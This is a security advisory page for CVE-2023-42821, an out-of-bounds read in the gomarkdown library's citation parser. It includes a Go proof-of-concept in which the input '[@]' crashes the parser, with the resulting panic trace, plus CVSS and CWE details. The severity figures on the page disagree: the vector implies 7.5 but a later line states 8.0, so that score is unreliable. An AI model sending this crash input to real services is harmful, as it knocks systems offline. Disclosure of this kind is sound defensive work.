Markdown vulnerable to Out-of-bounds Read while parsing citations
Parsing malformed markdown input with parser that uses parser.Mmark extension could result in out-of-bounds read vulnerability.
To exploit the vulnerability, parser needs to have parser.Mmark extension set. The panic occurs inside the citation.go file on the line 69 when the parser tries to access the element past its length.
https://github.com/gomarkdown/markdown/blob/7478c230c7cd3e7328803d89abe591d0b61c41e4/parser/citation.go#L69
```go
package main
import (
"github.com/gomarkdown/markdown"
"github.com/gomarkdown/markdown/parser"
)
func main() {
ext := parser.CommonExtensions |
parser.Attributes |
parser.OrderedListStart |
parser.SuperSubscript |
parser.Mmark
p := parser.NewWithExtensions(ext)
inp := []byte("[@]")
markdown.ToHTML(inp, p, nil)
}
```
```bash
$ go run main.go
panic: runtime error: index out of range [1] with length 1
goroutine 1 [running]:
github.com/gomarkdown/markdown/parser.citation(0x10?, {0x1400000e3f0, 0x14000141801?, 0x3}, 0x0?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/citation.go:69 +0x544
github.com/gomarkdown/markdown/parser.link(0x14000152000?, {0x1400000e3f0?, 0x3?, 0x3?}, 0x14000141ad8?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:308 +0x1c0
github.com/gomarkdown/markdown/parser.(*Parser).Inline(0x14000152000, {0x102d87f48, 0x14000076180}, {0x1400000e3f0, 0x3, 0x3})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/inline.go:38 +0xb8
github.com/gomarkdown/markdown/parser.(*Parser).Parse.func1({0x102d87f48?, 0x14000076180}, 0x0?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:307 +0x8c
github.com/gomarkdown/markdown/ast.NodeVisitorFunc.Visit(0x140000106e0?, {0x102d87f48?, 0x14000076180?}, 0x68?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:574 +0x38
github.com/gomarkdown/markdown/ast.Walk({0x102d87f48, 0x14000076180}, {0x102d87348, 0x140000106e0})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:546 +0x58
github.com/gomarkdown/markdown/ast.Walk({0x102d877b0, 0x14000076120}, {0x102d87348, 0x140000106e0})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:557 +0x144
github.com/gomarkdown/markdown/ast.WalkFunc(...)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/ast/node.go:580
github.com/gomarkdown/markdown/parser.(*Parser).Parse(0x14000152000, {0x1400000e3f0?, 0x0?, 0x0?})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/parser/parser.go:304 +0x16c
github.com/gomarkdown/markdown.Parse({0x1400000e3f0?, 0x3f?, 0x14000141e38?}, 0x102c6b43c?)
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:53 +0x6c
github.com/gomarkdown/markdown.ToHTML({0x1400000e3f0?, 0x0?, 0x60?}, 0x0?, {0x0, 0x0})
/Users/demon/go/pkg/mod/github.com/gomarkdown/[email protected]/markdown.go:77 +0x30
main.main()
/Users/demon/tools/markdown_cve_poc/main.go:17 +0x5c
exit status 2
```
Denial of Service / panic
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVE-2023-42821 is classified as CWE-125: Out-of-bounds Read. The code reads past the limits of a buffer, exposing adjacent memory contents or crashing the process.
CVE-2023-42821 is recorded against 2 packages.
Published on 22 September 2023 and last revised on 20 May 2024. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Advisory)
github.com (Fix)
github.com/gomarkdown/markdown has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-125: Out-of-bounds Read) in other software:
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/gomarkdown/markdown | — | — |
| markdown | — | — |
References
Similar Threats
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CVE-2023-42821 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
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